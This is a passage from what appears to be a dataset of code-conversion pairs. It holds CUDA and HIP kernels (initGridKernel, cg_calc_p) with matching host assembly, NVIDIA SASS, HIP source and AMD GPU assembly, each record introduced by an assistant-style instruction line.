.cfi_def_cfa_offset 160
movq %rdi, 24(%rsp)
movl %esi, 20(%rsp)
movl %edx, 16(%rsp)
movl %ecx, 12(%rsp)
movl %r8d, 8(%rsp)
movq %fs:40, %rax
movq %rax, 136(%rsp)
xorl %eax, %eax
leaq 24(%rsp), %rax
movq %rax, 96(%rsp)
leaq 20(%rsp), %rax
movq %rax, 104(%rsp)
leaq 16(%rsp), %rax
movq %rax, 112(%rsp)
leaq 12(%rsp), %rax
movq %rax, 120(%rsp)
leaq 8(%rsp), %rax
movq %rax, 128(%rsp)
movl $1, 48(%rsp)
movl $1, 52(%rsp)
movl $1, 56(%rsp)
movl $1, 60(%rsp)
movl $1, 64(%rsp)
movl $1, 68(%rsp)
leaq 40(%rsp), %rcx
leaq 32(%rsp), %rdx
leaq 60(%rsp), %rsi
leaq 48(%rsp), %rdi
call __cudaPopCallConfiguration@PLT
testl %eax, %eax
je .L7
.L3:
movq 136(%rsp), %rax
subq %fs:40, %rax
jne .L8
addq $152, %rsp
.cfi_remember_state
.cfi_def_cfa_offset 8
ret
.L7:
.cfi_restore_state
pushq 40(%rsp)
.cfi_def_cfa_offset 168
pushq 40(%rsp)
.cfi_def_cfa_offset 176
leaq 112(%rsp), %r9
movq 76(%rsp), %rcx
movl 84(%rsp), %r8d
movq 64(%rsp), %rsi
movl 72(%rsp), %edx
leaq _Z14initGridKernelPfiiii(%rip), %rdi
call cudaLaunchKernel@PLT
addq $16, %rsp
.cfi_def_cfa_offset 160
jmp .L3
.L8:
call __stack_chk_fail@PLT
.cfi_endproc
.LFE2051:
.size _Z38__device_stub__Z14initGridKernelPfiiiiPfiiii, .-_Z38__device_stub__Z14initGridKernelPfiiiiPfiiii
.globl _Z14initGridKernelPfiiii
.type _Z14initGridKernelPfiiii, @function
_Z14initGridKernelPfiiii:
.LFB2052:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
call _Z38__device_stub__Z14initGridKernelPfiiiiPfiiii
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2052:
.size _Z14initGridKernelPfiiii, .-_Z14initGridKernelPfiiii
.section .rodata.str1.1,"aMS",@progbits,1
.LC0:
.string "_Z14initGridKernelPfiiii"
.text
.type _ZL24__sti____cudaRegisterAllv, @function
_ZL24__sti____cudaRegisterAllv:
.LFB2054:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
leaq _ZL15__fatDeviceText(%rip), %rdi
call __cudaRegisterFatBinary@PLT
movq %rax, %rdi
movq %rax, _ZL20__cudaFatCubinHandle(%rip)
pushq $0
.cfi_def_cfa_offset 24
pushq $0
.cfi_def_cfa_offset 32
pushq $0
.cfi_def_cfa_offset 40
pushq $0
.cfi_def_cfa_offset 48
movl $0, %r9d
movl $-1, %r8d
leaq .LC0(%rip), %rdx
movq %rdx, %rcx
leaq _Z14initGridKernelPfiiii(%rip), %rsi
call __cudaRegisterFunction@PLT
addq $32, %rsp
.cfi_def_cfa_offset 16
movq _ZL20__cudaFatCubinHandle(%rip), %rdi
call __cudaRegisterFatBinaryEnd@PLT
leaq _ZL26__cudaUnregisterBinaryUtilv(%rip), %rdi
call atexit@PLT
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2054:
.size _ZL24__sti____cudaRegisterAllv, .-_ZL24__sti____cudaRegisterAllv
.section .init_array,"aw"
.align 8
.quad _ZL24__sti____cudaRegisterAllv
.section .nvFatBinSegment,"aw"
.align 8
.type _ZL15__fatDeviceText, @object
.size _ZL15__fatDeviceText, 24
_ZL15__fatDeviceText:
.long 1180844977
.long 1
.quad fatbinData
.quad 0
.local _ZL20__cudaFatCubinHandle
.comm _ZL20__cudaFatCubinHandle,8,8
.ident "GCC: (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4: | .text
.file "initGridKernel.hip"
.globl _Z29__device_stub__initGridKernelPfiiii # -- Begin function _Z29__device_stub__initGridKernelPfiiii
.p2align 4, 0x90
.type _Z29__device_stub__initGridKernelPfiiii,@function
_Z29__device_stub__initGridKernelPfiiii: # @_Z29__device_stub__initGridKernelPfiiii
.cfi_startproc
# %bb.0:
subq $120, %rsp
.cfi_def_cfa_offset 128
movq %rdi, 72(%rsp)
movl %esi, 20(%rsp)
movl %edx, 16(%rsp)
movl %ecx, 12(%rsp)
movl %r8d, 8(%rsp)
leaq 72(%rsp), %rax
movq %rax, 80(%rsp)
leaq 20(%rsp), %rax
movq %rax, 88(%rsp)
leaq 16(%rsp), %rax
movq %rax, 96(%rsp)
leaq 12(%rsp), %rax
movq %rax, 104(%rsp)
leaq 8(%rsp), %rax
movq %rax, 112(%rsp)
leaq 56(%rsp), %rdi
leaq 40(%rsp), %rsi
leaq 32(%rsp), %rdx
leaq 24(%rsp), %rcx
callq __hipPopCallConfiguration
movq 56(%rsp), %rsi
movl 64(%rsp), %edx
movq 40(%rsp), %rcx
movl 48(%rsp), %r8d
leaq 80(%rsp), %r9
movl $_Z14initGridKernelPfiiii, %edi
pushq 24(%rsp)
.cfi_adjust_cfa_offset 8
pushq 40(%rsp)
.cfi_adjust_cfa_offset 8
callq hipLaunchKernel
addq $136, %rsp
.cfi_adjust_cfa_offset -136
retq
.Lfunc_end0:
.size _Z29__device_stub__initGridKernelPfiiii, .Lfunc_end0-_Z29__device_stub__initGridKernelPfiiii
.cfi_endproc
# -- End function
.p2align 4, 0x90 # -- Begin function __hip_module_ctor
.type __hip_module_ctor,@function
__hip_module_ctor: # @__hip_module_ctor
.cfi_startproc
# %bb.0:
subq $40, %rsp
.cfi_def_cfa_offset 48
cmpq $0, __hip_gpubin_handle(%rip)
jne .LBB1_2
# %bb.1:
movl $__hip_fatbin_wrapper, %edi
callq __hipRegisterFatBinary
movq %rax, __hip_gpubin_handle(%rip)
.LBB1_2:
movq __hip_gpubin_handle(%rip), %rdi
xorps %xmm0, %xmm0
movups %xmm0, 16(%rsp)
movups %xmm0, (%rsp)
movl $_Z14initGridKernelPfiiii, %esi
movl $.L__unnamed_1, %edx
movl $.L__unnamed_1, %ecx
movl $-1, %r8d
xorl %r9d, %r9d
callq __hipRegisterFunction
movl $__hip_module_dtor, %edi
addq $40, %rsp
.cfi_def_cfa_offset 8
jmp atexit # TAILCALL
.Lfunc_end1:
.size __hip_module_ctor, .Lfunc_end1-__hip_module_ctor
.cfi_endproc
# -- End function
.p2align 4, 0x90 # -- Begin function __hip_module_dtor
.type __hip_module_dtor,@function
__hip_module_dtor: # @__hip_module_dtor
.cfi_startproc
# %bb.0:
movq __hip_gpubin_handle(%rip), %rdi
testq %rdi, %rdi
je .LBB2_2
# %bb.1:
pushq %rax
.cfi_def_cfa_offset 16
callq __hipUnregisterFatBinary
movq $0, __hip_gpubin_handle(%rip)
addq $8, %rsp
.cfi_def_cfa_offset 8
.LBB2_2:
retq
.Lfunc_end2:
.size __hip_module_dtor, .Lfunc_end2-__hip_module_dtor
.cfi_endproc
# -- End function
.type _Z14initGridKernelPfiiii,@object # @_Z14initGridKernelPfiiii
.section .rodata,"a",@progbits
.globl _Z14initGridKernelPfiiii
.p2align 3, 0x0
_Z14initGridKernelPfiiii:
.quad _Z29__device_stub__initGridKernelPfiiii
.size _Z14initGridKernelPfiiii, 8
.type .L__unnamed_1,@object # @0
.section .rodata.str1.1,"aMS",@progbits,1
.L__unnamed_1:
.asciz "_Z14initGridKernelPfiiii"
.size .L__unnamed_1, 25
.type __hip_fatbin_wrapper,@object # @__hip_fatbin_wrapper
.section .hipFatBinSegment,"a",@progbits
.p2align 3, 0x0
__hip_fatbin_wrapper:
.long 1212764230 # 0x48495046
.long 1 # 0x1
.quad __hip_fatbin
.quad 0
.size __hip_fatbin_wrapper, 24
.type __hip_gpubin_handle,@object # @__hip_gpubin_handle
.local __hip_gpubin_handle
.comm __hip_gpubin_handle,8,8
.section .init_array,"aw",@init_array
.p2align 3, 0x0
.quad __hip_module_ctor
.type __hip_cuid_,@object # @__hip_cuid_
.bss
.globl __hip_cuid_
__hip_cuid_:
.byte 0 # 0x0
.size __hip_cuid_, 1
.section ".linker-options","e",@llvm_linker_options
.ident "AMD clang version 18.0.0git (https://github.com/RadeonOpenCompute/llvm-project roc-6.3.2 25012 e5bf7e55c91490b07c49d8960fa7983d864936c4)"
.section ".note.GNU-stack","",@progbits
.addrsig
.addrsig_sym _Z29__device_stub__initGridKernelPfiiii
.addrsig_sym __hip_module_ctor
.addrsig_sym __hip_module_dtor
.addrsig_sym _Z14initGridKernelPfiiii
.addrsig_sym __hip_fatbin
.addrsig_sym __hip_fatbin_wrapper
.addrsig_sym __hip_cuid_ |
You are a helpful coding assistant specialized in converting CUDA source code to CUDA device assembly. | #include "includes.h"
__global__ void cg_calc_p( const int x_inner, const int y_inner, const int halo_depth, const double beta, const double* r, double* p)
{
const int gid = threadIdx.x+blockIdx.x*blockDim.x;
if(gid >= x_inner*y_inner) return;
const int x = x_inner + 2*halo_depth;
const int col = gid % x_inner;
const int row = gid / x_inner;
const int off0 = halo_depth*(x + 1);
const int index = off0 + col + row*x;
p[index] = r[index] + beta*p[index];
} | code for sm_80
Function : _Z9cg_calc_piiidPKdPd
.headerflags @"EF_CUDA_TEXMODE_UNIFIED EF_CUDA_64BIT_ADDRESS EF_CUDA_SM80 EF_CUDA_VIRTUAL_SM(EF_CUDA_SM80)"
/*0000*/ IMAD.MOV.U32 R1, RZ, RZ, c[0x0][0x28] ; /* 0x00000a00ff017624 */
/* 0x000fe400078e00ff */
/*0010*/ S2R R0, SR_TID.X ; /* 0x0000000000007919 */
/* 0x000e220000002100 */
/*0020*/ ULDC.64 UR4, c[0x0][0x160] ; /* 0x0000580000047ab9 */
/* 0x000fe40000000a00 */
/*0030*/ UIMAD UR4, UR5, UR4, URZ ; /* 0x00000004050472a4 */
/* 0x000fe2000f8e023f */
/*0040*/ S2R R3, SR_CTAID.X ; /* 0x0000000000037919 */
/* 0x000e240000002500 */
/*0050*/ IMAD R0, R3, c[0x0][0x0], R0 ; /* 0x0000000003007a24 */
/* 0x001fca00078e0200 */
/*0060*/ ISETP.GE.AND P0, PT, R0, UR4, PT ; /* 0x0000000400007c0c */
/* 0x000fda000bf06270 */
/*0070*/ @P0 EXIT ; /* 0x000000000000094d */
/* 0x000fea0003800000 */
/*0080*/ IABS R5, c[0x0][0x160] ; /* 0x0000580000057a13 */
/* 0x000fe20000000000 */
/*0090*/ ULDC.64 UR4, c[0x0][0x118] ; /* 0x0000460000047ab9 */
/* 0x000fc60000000a00 */
/*00a0*/ I2F.RP R4, R5 ; /* 0x0000000500047306 */
/* 0x000e300000209400 */
/*00b0*/ MUFU.RCP R4, R4 ; /* 0x0000000400047308 */
/* 0x001e240000001000 */
/*00c0*/ IADD3 R2, R4, 0xffffffe, RZ ; /* 0x0ffffffe04027810 */
/* 0x001fcc0007ffe0ff */
/*00d0*/ F2I.FTZ.U32.TRUNC.NTZ R3, R2 ; /* 0x0000000200037305 */
/* 0x000064000021f000 */
/*00e0*/ HFMA2.MMA R2, -RZ, RZ, 0, 0 ; /* 0x00000000ff027435 */
/* 0x001fe200000001ff */
/*00f0*/ IMAD.MOV R6, RZ, RZ, -R3 ; /* 0x000000ffff067224 */
/* 0x002fc800078e0a03 */
/*0100*/ IMAD R7, R6, R5, RZ ; /* 0x0000000506077224 */
/* 0x000fe200078e02ff */
/*0110*/ IABS R6, R0 ; /* 0x0000000000067213 */
/* 0x000fc80000000000 */
/*0120*/ IMAD.HI.U32 R3, R3, R7, R2 ; /* 0x0000000703037227 */
/* 0x000fe200078e0002 */
/*0130*/ LOP3.LUT R2, R0, c[0x0][0x160], RZ, 0x3c, !PT ; /* 0x0000580000027a12 */
/* 0x000fc800078e3cff */
/*0140*/ ISETP.GE.AND P1, PT, R2, RZ, PT ; /* 0x000000ff0200720c */
/* 0x000fe20003f26270 */
/*0150*/ IMAD.HI.U32 R3, R3, R6, RZ ; /* 0x0000000603037227 */
/* 0x000fe200078e00ff */
/*0160*/ MOV R2, c[0x0][0x168] ; /* 0x00005a0000027a02 */
/* 0x000fc60000000f00 */
/*0170*/ IMAD.MOV R4, RZ, RZ, -R3 ; /* 0x000000ffff047224 */
/* 0x000fe200078e0a03 */
/*0180*/ LEA R2, R2, c[0x0][0x160], 0x1 ; /* 0x0000580002027a11 */
/* 0x000fc600078e08ff */
/*0190*/ IMAD R4, R5, R4, R6 ; /* 0x0000000405047224 */
/* 0x000fca00078e0206 */
/*01a0*/ ISETP.GT.U32.AND P2, PT, R5, R4, PT ; /* 0x000000040500720c */
/* 0x000fda0003f44070 */
/*01b0*/ @!P2 IMAD.IADD R4, R4, 0x1, -R5 ; /* 0x000000010404a824 */
/* 0x000fe200078e0a05 */
/*01c0*/ @!P2 IADD3 R3, R3, 0x1, RZ ; /* 0x000000010303a810 */
/* 0x000fe40007ffe0ff */
/*01d0*/ ISETP.NE.AND P2, PT, RZ, c[0x0][0x160], PT ; /* 0x00005800ff007a0c */
/* 0x000fe40003f45270 */
/*01e0*/ ISETP.GE.U32.AND P0, PT, R4, R5, PT ; /* 0x000000050400720c */
/* 0x000fda0003f06070 */
/*01f0*/ @P0 IADD3 R3, R3, 0x1, RZ ; /* 0x0000000103030810 */
/* 0x000fc80007ffe0ff */
/*0200*/ MOV R5, R3 ; /* 0x0000000300057202 */
/* 0x000fe40000000f00 */
/*0210*/ IADD3 R3, R2, 0x1, RZ ; /* 0x0000000102037810 */
/* 0x000fc60007ffe0ff */
/*0220*/ @!P1 IMAD.MOV R5, RZ, RZ, -R5 ; /* 0x000000ffff059224 */
/* 0x000fe200078e0a05 */
/*0230*/ @!P2 LOP3.LUT R5, RZ, c[0x0][0x160], RZ, 0x33, !PT ; /* 0x00005800ff05aa12 */
/* 0x000fca00078e33ff */
/*0240*/ IMAD.MOV R7, RZ, RZ, -R5 ; /* 0x000000ffff077224 */
/* 0x000fc800078e0a05 */
/*0250*/ IMAD R0, R7, c[0x0][0x160], R0 ; /* 0x0000580007007a24 */
/* 0x000fe200078e0200 */
/*0260*/ HFMA2.MMA R7, -RZ, RZ, 0, 4.76837158203125e-07 ; /* 0x00000008ff077435 */
/* 0x000fc600000001ff */
/*0270*/ IMAD R0, R3, c[0x0][0x168], R0 ; /* 0x00005a0003007a24 */
/* 0x000fc800078e0200 */
/*0280*/ IMAD R0, R2, R5, R0 ; /* 0x0000000502007224 */
/* 0x000fc800078e0200 */
/*0290*/ IMAD.WIDE R2, R0, R7, c[0x0][0x178] ; /* 0x00005e0000027625 */
/* 0x000fc800078e0207 */
/*02a0*/ IMAD.WIDE R4, R0, R7, c[0x0][0x180] ; /* 0x0000600000047625 */
/* 0x000fe400078e0207 */
/*02b0*/ LDG.E.64 R2, [R2.64] ; /* 0x0000000402027981 */
/* 0x000ea8000c1e1b00 */
/*02c0*/ LDG.E.64 R6, [R4.64] ; /* 0x0000000404067981 */
/* 0x000ea4000c1e1b00 */
/*02d0*/ DFMA R6, R6, c[0x0][0x170], R2 ; /* 0x00005c0006067a2b */
/* 0x004e0e0000000002 */
/*02e0*/ STG.E.64 [R4.64], R6 ; /* 0x0000000604007986 */
/* 0x001fe2000c101b04 */
/*02f0*/ EXIT ; /* 0x000000000000794d */
/* 0x000fea0003800000 */
/*0300*/ BRA 0x300; /* 0xfffffff000007947 */
/* 0x000fc0000383ffff */
/*0310*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0320*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0330*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0340*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0350*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0360*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0370*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0380*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0390*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*03a0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*03b0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*03c0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*03d0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*03e0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*03f0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
.......... |
You are a helpful coding assistant specialized in converting CUDA source code to CUDA host assembly. | #include "includes.h"
__global__ void cg_calc_p( const int x_inner, const int y_inner, const int halo_depth, const double beta, const double* r, double* p)
{
const int gid = threadIdx.x+blockIdx.x*blockDim.x;
if(gid >= x_inner*y_inner) return;
const int x = x_inner + 2*halo_depth;
const int col = gid % x_inner;
const int row = gid / x_inner;
const int off0 = halo_depth*(x + 1);
const int index = off0 + col + row*x;
p[index] = r[index] + beta*p[index];
} | .file "tmpxft_000537b1_00000000-6_cg_calc_p.cudafe1.cpp"
.text
#APP
#NO_APP
.type _ZL26__cudaUnregisterBinaryUtilv, @function
_ZL26__cudaUnregisterBinaryUtilv:
.LFB2029:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
movq _ZL20__cudaFatCubinHandle(%rip), %rdi
call __cudaUnregisterFatBinary@PLT
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2029:
.size _ZL26__cudaUnregisterBinaryUtilv, .-_ZL26__cudaUnregisterBinaryUtilv
.globl _Z35__device_stub__Z9cg_calc_piiidPKdPdiiidPKdPd
.type _Z35__device_stub__Z9cg_calc_piiidPKdPdiiidPKdPd, @function
_Z35__device_stub__Z9cg_calc_piiidPKdPdiiidPKdPd:
.LFB2051:
.cfi_startproc
endbr64
subq $184, %rsp
.cfi_def_cfa_offset 192
movl %edi, 44(%rsp)
movl %esi, 40(%rsp)
movl %edx, 36(%rsp)
movsd %xmm0, 24(%rsp)
movq %rcx, 16(%rsp)
movq %r8, 8(%rsp)
movq %fs:40, %rax
movq %rax, 168(%rsp)
xorl %eax, %eax
leaq 44(%rsp), %rax
movq %rax, 112(%rsp)
leaq 40(%rsp), %rax
movq %rax, 120(%rsp)
leaq 36(%rsp), %rax
movq %rax, 128(%rsp)
leaq 24(%rsp), %rax
movq %rax, 136(%rsp)
leaq 16(%rsp), %rax
movq %rax, 144(%rsp)
leaq 8(%rsp), %rax
movq %rax, 152(%rsp)
movl $1, 64(%rsp)
movl $1, 68(%rsp)
movl $1, 72(%rsp)
movl $1, 76(%rsp)
movl $1, 80(%rsp)
movl $1, 84(%rsp)
leaq 56(%rsp), %rcx
leaq 48(%rsp), %rdx
leaq 76(%rsp), %rsi
leaq 64(%rsp), %rdi
call __cudaPopCallConfiguration@PLT
testl %eax, %eax
je .L7
.L3:
movq 168(%rsp), %rax
subq %fs:40, %rax
jne .L8
addq $184, %rsp
.cfi_remember_state
.cfi_def_cfa_offset 8
ret
.L7:
.cfi_restore_state
pushq 56(%rsp)
.cfi_def_cfa_offset 200
pushq 56(%rsp)
.cfi_def_cfa_offset 208
leaq 128(%rsp), %r9
movq 92(%rsp), %rcx
movl 100(%rsp), %r8d
movq 80(%rsp), %rsi
movl 88(%rsp), %edx
leaq _Z9cg_calc_piiidPKdPd(%rip), %rdi
call cudaLaunchKernel@PLT
addq $16, %rsp
.cfi_def_cfa_offset 192
jmp .L3
.L8:
call __stack_chk_fail@PLT
.cfi_endproc
.LFE2051:
.size _Z35__device_stub__Z9cg_calc_piiidPKdPdiiidPKdPd, .-_Z35__device_stub__Z9cg_calc_piiidPKdPdiiidPKdPd
.globl _Z9cg_calc_piiidPKdPd
.type _Z9cg_calc_piiidPKdPd, @function
_Z9cg_calc_piiidPKdPd:
.LFB2052:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
call _Z35__device_stub__Z9cg_calc_piiidPKdPdiiidPKdPd
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2052:
.size _Z9cg_calc_piiidPKdPd, .-_Z9cg_calc_piiidPKdPd
.section .rodata.str1.1,"aMS",@progbits,1
.LC0:
.string "_Z9cg_calc_piiidPKdPd"
.text
.type _ZL24__sti____cudaRegisterAllv, @function
_ZL24__sti____cudaRegisterAllv:
.LFB2054:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
leaq _ZL15__fatDeviceText(%rip), %rdi
call __cudaRegisterFatBinary@PLT
movq %rax, %rdi
movq %rax, _ZL20__cudaFatCubinHandle(%rip)
pushq $0
.cfi_def_cfa_offset 24
pushq $0
.cfi_def_cfa_offset 32
pushq $0
.cfi_def_cfa_offset 40
pushq $0
.cfi_def_cfa_offset 48
movl $0, %r9d
movl $-1, %r8d
leaq .LC0(%rip), %rdx
movq %rdx, %rcx
leaq _Z9cg_calc_piiidPKdPd(%rip), %rsi
call __cudaRegisterFunction@PLT
addq $32, %rsp
.cfi_def_cfa_offset 16
movq _ZL20__cudaFatCubinHandle(%rip), %rdi
call __cudaRegisterFatBinaryEnd@PLT
leaq _ZL26__cudaUnregisterBinaryUtilv(%rip), %rdi
call atexit@PLT
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2054:
.size _ZL24__sti____cudaRegisterAllv, .-_ZL24__sti____cudaRegisterAllv
.section .init_array,"aw"
.align 8
.quad _ZL24__sti____cudaRegisterAllv
.section .nvFatBinSegment,"aw"
.align 8
.type _ZL15__fatDeviceText, @object
.size _ZL15__fatDeviceText, 24
_ZL15__fatDeviceText:
.long 1180844977
.long 1
.quad fatbinData
.quad 0
.local _ZL20__cudaFatCubinHandle
.comm _ZL20__cudaFatCubinHandle,8,8
.ident "GCC: (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4: |
You are a helpful coding assistant specialized in converting CUDA source code to HIP/AMD source code. | #include "includes.h"
__global__ void cg_calc_p( const int x_inner, const int y_inner, const int halo_depth, const double beta, const double* r, double* p)
{
const int gid = threadIdx.x+blockIdx.x*blockDim.x;
if(gid >= x_inner*y_inner) return;
const int x = x_inner + 2*halo_depth;
const int col = gid % x_inner;
const int row = gid / x_inner;
const int off0 = halo_depth*(x + 1);
const int index = off0 + col + row*x;
p[index] = r[index] + beta*p[index];
} | #include <hip/hip_runtime.h>
#include "includes.h"
__global__ void cg_calc_p( const int x_inner, const int y_inner, const int halo_depth, const double beta, const double* r, double* p)
{
const int gid = threadIdx.x+blockIdx.x*blockDim.x;
if(gid >= x_inner*y_inner) return;
const int x = x_inner + 2*halo_depth;
const int col = gid % x_inner;
const int row = gid / x_inner;
const int off0 = halo_depth*(x + 1);
const int index = off0 + col + row*x;
p[index] = r[index] + beta*p[index];
} |
You are a helpful coding assistant specialized in converting HIP source code to AMD device assembly. | #include <hip/hip_runtime.h>
#include "includes.h"
__global__ void cg_calc_p( const int x_inner, const int y_inner, const int halo_depth, const double beta, const double* r, double* p)
{
const int gid = threadIdx.x+blockIdx.x*blockDim.x;
if(gid >= x_inner*y_inner) return;
const int x = x_inner + 2*halo_depth;
const int col = gid % x_inner;
const int row = gid / x_inner;
const int off0 = halo_depth*(x + 1);
const int index = off0 + col + row*x;
p[index] = r[index] + beta*p[index];
} | .text
.amdgcn_target "amdgcn-amd-amdhsa--gfx1100"
.protected _Z9cg_calc_piiidPKdPd
.globl _Z9cg_calc_piiidPKdPd
.p2align 8
.type _Z9cg_calc_piiidPKdPd,@function
_Z9cg_calc_piiidPKdPd:
s_clause 0x1
s_load_b32 s4, s[0:1], 0x34
s_load_b64 s[2:3], s[0:1], 0x0
s_waitcnt lgkmcnt(0)
s_and_b32 s4, s4, 0xffff
s_mul_i32 s3, s3, s2
v_mad_u64_u32 v[1:2], null, s15, s4, v[0:1]
s_delay_alu instid0(VALU_DEP_1)
v_cmp_gt_i32_e32 vcc_lo, s3, v1
s_and_saveexec_b32 s3, vcc_lo
s_cbranch_execz .LBB0_2
s_ashr_i32 s3, s2, 31
v_ashrrev_i32_e32 v3, 31, v1
s_add_i32 s4, s2, s3
s_load_b32 s8, s[0:1], 0x8
s_xor_b32 s4, s4, s3
s_delay_alu instid0(VALU_DEP_1) | instskip(SKIP_2) | instid1(VALU_DEP_2)
v_add_nc_u32_e32 v4, v1, v3
v_cvt_f32_u32_e32 v0, s4
s_sub_i32 s5, 0, s4
v_xor_b32_e32 v4, v4, v3
s_delay_alu instid0(VALU_DEP_2) | instskip(SKIP_3) | instid1(VALU_DEP_1)
v_rcp_iflag_f32_e32 v0, v0
v_xor_b32_e32 v3, s3, v3
s_waitcnt_depctr 0xfff
v_mul_f32_e32 v0, 0x4f7ffffe, v0
v_cvt_u32_f32_e32 v0, v0
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
v_mul_lo_u32 v2, s5, v0
v_mul_hi_u32 v2, v0, v2
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
v_add_nc_u32_e32 v0, v0, v2
v_mul_hi_u32 v0, v4, v0
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
v_mul_lo_u32 v2, v0, s4
v_sub_nc_u32_e32 v2, v4, v2
v_add_nc_u32_e32 v4, 1, v0
s_delay_alu instid0(VALU_DEP_2) | instskip(SKIP_1) | instid1(VALU_DEP_3)
v_subrev_nc_u32_e32 v5, s4, v2
v_cmp_le_u32_e32 vcc_lo, s4, v2
v_cndmask_b32_e32 v0, v0, v4, vcc_lo
s_delay_alu instid0(VALU_DEP_3) | instskip(NEXT) | instid1(VALU_DEP_2)
v_cndmask_b32_e32 v2, v2, v5, vcc_lo
v_add_nc_u32_e32 v4, 1, v0
s_delay_alu instid0(VALU_DEP_2)
v_cmp_le_u32_e32 vcc_lo, s4, v2
s_load_b128 s[4:7], s[0:1], 0x10
s_waitcnt lgkmcnt(0)
s_lshl_b32 s3, s8, 1
s_load_b64 s[0:1], s[0:1], 0x20
v_cndmask_b32_e32 v0, v0, v4, vcc_lo
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
v_xor_b32_e32 v0, v0, v3
v_sub_nc_u32_e32 v0, v0, v3
s_delay_alu instid0(VALU_DEP_1) | instskip(SKIP_1) | instid1(SALU_CYCLE_1)
v_mul_lo_u32 v2, v0, s2
s_add_i32 s2, s3, s2
v_mul_lo_u32 v0, v0, s2
s_add_i32 s2, s2, 1
s_delay_alu instid0(SALU_CYCLE_1) | instskip(NEXT) | instid1(VALU_DEP_2)
s_mul_i32 s2, s2, s8
v_sub_nc_u32_e32 v1, v1, v2
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
v_add3_u32 v0, v1, s2, v0
v_ashrrev_i32_e32 v1, 31, v0
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
v_lshlrev_b64 v[0:1], 3, v[0:1]
v_add_co_u32 v2, vcc_lo, s6, v0
s_delay_alu instid0(VALU_DEP_2)
v_add_co_ci_u32_e32 v3, vcc_lo, s7, v1, vcc_lo
s_waitcnt lgkmcnt(0)
v_add_co_u32 v0, vcc_lo, s0, v0
v_add_co_ci_u32_e32 v1, vcc_lo, s1, v1, vcc_lo
global_load_b64 v[2:3], v[2:3], off
global_load_b64 v[4:5], v[0:1], off
s_waitcnt vmcnt(0)
v_fma_f64 v[2:3], v[4:5], s[4:5], v[2:3]
global_store_b64 v[0:1], v[2:3], off
.LBB0_2:
s_nop 0
s_sendmsg sendmsg(MSG_DEALLOC_VGPRS)
s_endpgm
.section .rodata,"a",@progbits
.p2align 6, 0x0
.amdhsa_kernel _Z9cg_calc_piiidPKdPd
.amdhsa_group_segment_fixed_size 0
.amdhsa_private_segment_fixed_size 0
.amdhsa_kernarg_size 296
.amdhsa_user_sgpr_count 15
.amdhsa_user_sgpr_dispatch_ptr 0
.amdhsa_user_sgpr_queue_ptr 0
.amdhsa_user_sgpr_kernarg_segment_ptr 1
.amdhsa_user_sgpr_dispatch_id 0
.amdhsa_user_sgpr_private_segment_size 0
.amdhsa_wavefront_size32 1
.amdhsa_uses_dynamic_stack 0
.amdhsa_enable_private_segment 0
.amdhsa_system_sgpr_workgroup_id_x 1
.amdhsa_system_sgpr_workgroup_id_y 0
.amdhsa_system_sgpr_workgroup_id_z 0
.amdhsa_system_sgpr_workgroup_info 0
.amdhsa_system_vgpr_workitem_id 0
.amdhsa_next_free_vgpr 6
.amdhsa_next_free_sgpr 16
.amdhsa_float_round_mode_32 0
.amdhsa_float_round_mode_16_64 0
.amdhsa_float_denorm_mode_32 3
.amdhsa_float_denorm_mode_16_64 3
.amdhsa_dx10_clamp 1
.amdhsa_ieee_mode 1
.amdhsa_fp16_overflow 0
.amdhsa_workgroup_processor_mode 1
.amdhsa_memory_ordered 1
.amdhsa_forward_progress 0
.amdhsa_shared_vgpr_count 0
.amdhsa_exception_fp_ieee_invalid_op 0
.amdhsa_exception_fp_denorm_src 0
.amdhsa_exception_fp_ieee_div_zero 0
